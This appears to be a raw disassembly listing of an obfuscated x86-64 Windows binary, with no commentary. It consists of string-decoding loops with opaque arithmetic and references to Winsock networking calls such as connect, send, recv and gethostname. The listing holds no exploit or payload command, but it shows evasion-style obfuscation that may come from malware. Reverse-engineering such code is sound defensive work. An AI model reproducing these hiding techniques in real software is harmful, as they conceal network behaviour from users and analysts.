lea ecx, [r11 - 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5f
sub r11b, 0x3f
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x47
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x2c0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x2c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d883
movzx r11d, r10b
lea ecx, [r11 - 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1f
sub r11b, 0x45
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x1d
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x2c0], r11b
add rbx, r8
jmp 0x14007e2e8
movzx r11d, r10b
lea ecx, [r11 - 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x63
jmp 0x14007e286
movzx r11d, r10b
lea ecx, [r11 - 0x47]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xf
sub r11b, 0x4b
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0xd
add r11b, r9b
mov byte [rbp + r10 + 0x2c0], r11b
inc r8
dec r10
inc r10
jmp 0x14007d883
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
dec r10
inc r10
jmp 0x14007d883
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x3d
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007d883
lea rcx, [r10 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x41
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d883
add r10b, 0xf
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x69
jmp 0x14007d880
add r10b, 9
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3f
jmp 0x14007d870
lea rcx, [rbp + 0x16b86c4]
jmp 0x14007e37f
lea rcx, [rbp + 0x9b6847]
jmp 0x14007e37f
lea rcx, [rbp + 0x2c0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r12
movaps xmm3, xmm11
movaps xmm2, xmm12
lea rdx, [0x1401eb1ac]
call fcn.14003f420
mov esi, dword [0x1401ed228]
mov r14d, dword [reloc.WS2_32.dll_bind]
mov byte [rbp + 0x2e0], 0xe9
mov byte [rbp + 0x2e1], 0xc2
mov byte [rbp + 0x2e2], 0xc7
mov byte [rbp + 0x2e3], reloc.WS2_32.dll_send
mov byte [rbp + 0x2e4], 0xe7
mov byte [rbp + 0x2e5], 0xca
mov byte [rbp + 0x2e6], 0xb7
mov byte [rbp + 0x2e7], 0xcf
xor eax, eax
mov qword [rbp + 0x2e8], rax
mov dword [rbp + 0x2f0], eax
mov word [rbp + 0x2f4], ax
movabs r15, 0x5f8d0a77ef51f9
movabs r13, 0x29cdb49478b3dcf
movabs r12, 0x11ea71f67cdf5eb
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x16
jae 0x14007efee
movzx r9d, byte [rbp + r10 + 0x2e0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007efe5
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007e47c
lea rcx, [r10 + r15]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x31
jmp 0x14007e4b6
je 0x14007ef77
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007eef2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007eebf
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007ee7d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007ee58
cmp r8, r10
ja 0x14007efdc
lea rcx, [r8 + 6]
cmp rbx, rcx
jae 0x14007e4e0
lea ecx, [r10 + 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 5
jmp 0x14007e510
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007ee0d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007edeb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007edcf
cmp rbx, rcx
je 0x14007edb0
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007ea8e
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007ea6b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007ea43
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007ea22
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007e9ff
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007e9e4
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007e9c9
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007e9aa
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007e98f
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007e95e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007e520
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 8]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007efbf
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007efa2
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007e70d
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007e6f2
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007e6d7
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007e90b
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007e8c2
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007e882
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007e85c
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007e520
lea rbx, [r8 + 0x28]
lea r8, [rbx + 1]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14007e82b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007e80c
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14007e7f1
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14007e7d2
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007e7b7
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007e794
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007e76f
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007e74b
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007e728
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007e520
lea rbx, [r8 + 6]
lea r8, [rbx + 0x1000]
jmp 0x14007e520
lea ecx, [r10 + 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x65
jmp 0x14007e510
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
jmp 0x14007e4b6
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x29
jmp 0x14007e446
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007ee2b
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
inc r8
dec r10
inc r10
jmp 0x14007e433
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007e433
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007ee9b
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x14007eed6
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007eed9
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x14007ef0c
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007ef34
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e433
lea ecx, [r10 - 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x23
mov byte [rbp + r10 + 0x2e0], dil
inc r10
jmp 0x14007e433
lea ecx, [r10 + 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3f
cmp r8, 0x64
jb 0x14007e872
movzx r11d, r10b
lea edx, [r11 + 0x36]
movzx eax, r9b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14007ee2b
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5f
cmp rbx, 0x61
jae 0x14007ed6c
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14007ec5e
lea edx, [r10 - 0x3e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4e
add dil, dl
jmp 0x14007e898
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 3
lea rax, [r8 + rbx]
cmp rax, 2
je 0x14007ed94
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14007eb96
lea edx, [r10 + 0x55]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x53
add dil, dl
jmp 0x14007e8d8
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e433
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x14007ef34
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007ef0c
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x14007eed9
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x14007eed6
movzx r11d, r10b
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007ee9b
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
dec r10
inc r10
jmp 0x14007e433
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007e433
movzx r11d, r10b
lea edx, [r11 - 2]
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007ee2b
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14007eab2
lea ecx, [r10 - 7]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x31
jmp 0x14007e921
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007eaec
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e433
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007eb14
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007ef34
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007eb3c
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007eed9
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007eb64
movzx r11d, r10b
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x14007ee9b
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007e921
lea edx, [r10 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007e433
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007ebbf
movzx r11d, r10b
lea edx, [r11 + 0x47]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0xf
jmp 0x14007ee28
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007ebe8
movzx r11d, r10b
lea edx, [r11 + 0x1d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x35
jmp 0x14007ee98
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007ec0d
lea ecx, [r10 + 0xf]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x69
jmp 0x14007eed6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007ec32
lea ecx, [r10 + 1]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 7
jmp 0x14007eed9
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007e8d8
lea edx, [r10 - 0xd]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x5b
add dil, dl
jmp 0x14007ef0c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007ec98
lea edx, [r10 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e433
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007ecc0
lea edx, [r10 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, dl
jmp 0x14007ef0c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007ece8
lea edx, [r10 - 0x76]
movzx eax, r9b
and al, dl
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007eed9
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007ed11
movzx r11d, r10b
lea edx, [r11 + 0x6e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 2
jmp 0x14007ee98
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007ed3f
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007e433
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007e898
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007ee28
movzx r11d, r10b
lea edx, [r11 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x2e0]
sub dil, al
sub dil, 0x18
add dil, r9b
jmp 0x14007ee98
lea edx, [r10 + 0x1a]
movzx eax, r9b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007ef0c
lea edx, [r10 - 3]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x15
add dil, dl
jmp 0x14007ef34
lea ecx, [r10 + 0x27]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x11
jmp 0x14007eed6
lea ecx, [r10 + 0x43]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x2b
dec r10
inc r10
jmp 0x14007e433
movzx r11d, r10b
lea edx, [r11 + 0x5f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x67
add dil, dl
add r11b, 0x2f
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x49
add r11b, r9b
mov byte [rbp + r10 + 0x2e0], r11b
inc r8
dec r10
inc r10
jmp 0x14007e433
lea ecx, [r10 - 0x77]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x41
inc r8
dec r10
inc r10
jmp 0x14007e433
movzx r11d, r10b
lea edx, [r11 - 0x5b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7d
add dil, dl
add r11b, 0x21
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x19
add r11b, r9b
add r11b, dil
mov byte [rbp + r10 + 0x2e0], r11b
jmp 0x14007eed6
lea ecx, [r10 - 0x4d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x1b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007e433
lea rcx, [r10 + r13]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
add dil, 0x57
add dil, cl
lea ecx, [r10 + 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x7b
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x2e0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x54
add cl, r9b
mov byte [rbp + r10 + 0x2e0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e433
lea rcx, [r10 + r12]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x6d
movzx eax, byte [rbp + r10 + 0x2e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e433
add r10b, 0x5d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x75
jmp 0x14007e430
add r10b, 0x6b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x13
jmp 0x14007e420
lea rcx, [rbp + 0x14b162c]
jmp 0x14007eff5
lea rcx, [rbp + 0xba6825]
jmp 0x14007eff5
lea rcx, [rbp + 0x2e0]
mov r9d, esi
lea r8, [0x140044bb0]
mov edx, r14d
call fcn.14004e6a0
mov esi, dword [0x1401ed22c]
mov r14d, dword [reloc.WS2_32.dll_connect]
mov byte [rbp + 0x300], 0xca
mov byte [rbp + 0x301], 0xb3
mov byte [rbp + 0x302], 0xbb
mov byte [rbp + 0x303], 0xba
mov byte [rbp + 0x304], 0xbb
mov byte [rbp + 0x305], 0x42
mov byte [rbp + 0x306], 0x4e
mov byte [rbp + 0x307], 0xff
mov byte [rbp + 0x308], 0x2b
mov byte [rbp + 0x309], 0x46
mov byte [rbp + 0x30a], 0x53
mov byte [rbp + 0x30b], 0xdb
xor eax, eax
mov dword [rbp + 0x30c], eax
mov word [rbp + 0x310], ax
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x12
jae 0x14007f9ac
movzx r9d, byte [rbp + r10 + 0x300]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007f9a3
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007f0df
lea rcx, [r10 + 0x1337b]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x5d
jmp 0x14007f120
je 0x14007f932
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007f8aa
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007f87a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007f859
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007f817
nop dword [rax]
cmp r8, r10
ja 0x14007f99a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007f14a
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5f
jmp 0x14007f190
je 0x14007f7fc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007f7db
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007f795
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007f77a
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007f74d
nop dword [rax]
nop dword [rax + rax]
lea rdx, [r8 + rbx]
cmp rdx, r10
jbe 0x14007f41f
nop dword [rax]
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007f3fc
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007f3d4
lea rcx, [r8 + 0x61]
cmp rbx, rcx
je 0x14007f3b3
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007f394
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007f372
mov rbx, rcx
lea r8, [rcx + 0x20]
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x14007f97d
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x14007f960
lea rcx, [r8 + 0x20]
cmp rbx, rcx
jb 0x14007f2b3
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007f298
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007f27d
mov rbx, rcx
lea r8, [rcx + 1]
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x14007f345
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x14007f326
lea rcx, [r8 + 1]
cmp rbx, rcx
ja 0x14007f307
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007f2ec
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007f2ce
mov rbx, rcx
lea r8, [rcx + 0x80]
jmp 0x14007f1a0
lea ecx, [r10 - 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7f
jmp 0x14007f190
lea ecx, [r10 - 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3b
jmp 0x14007f120
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xb
jmp 0x14007f0a6
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
add rbx, r8
jmp 0x14007f891
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
jmp 0x14007f891
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007f8c7
lea edx, [r10 - 2]
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007f8ef
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f093
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14007f891
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
movzx r11d, r10b
jmp 0x14007f7af
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
dec r10
inc r10
jmp 0x14007f093
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007f093
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx edx, r10b
jmp 0x14007f830
lea r11, [r8 + 1]
cmp rbx, r11
jae 0x14007f4b3
lea ecx, [r10 + 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5d
cmp rdx, 0x20
je 0x14007f731
cmp rbx, r11
jbe 0x14007f560
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x29
cmp rbx, 1
jae 0x14007f70d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007f630
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f093
jne 0x14007f4e2
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f093
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f50a
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007f8ef
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007f52e
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x14007f891
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007f442
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007f093
jne 0x14007f580
movzx edx, r10b
lea ecx, [rdx + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
jmp 0x14007f830
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007f5aa
lea ecx, [r10 + 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
dec r10
inc r10
jmp 0x14007f093
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f5d2
movzx r11d, r10b
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
jmp 0x14007f7af
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007f5f6
lea ecx, [r10 + 9]
movzx eax, cl
and al, r9b
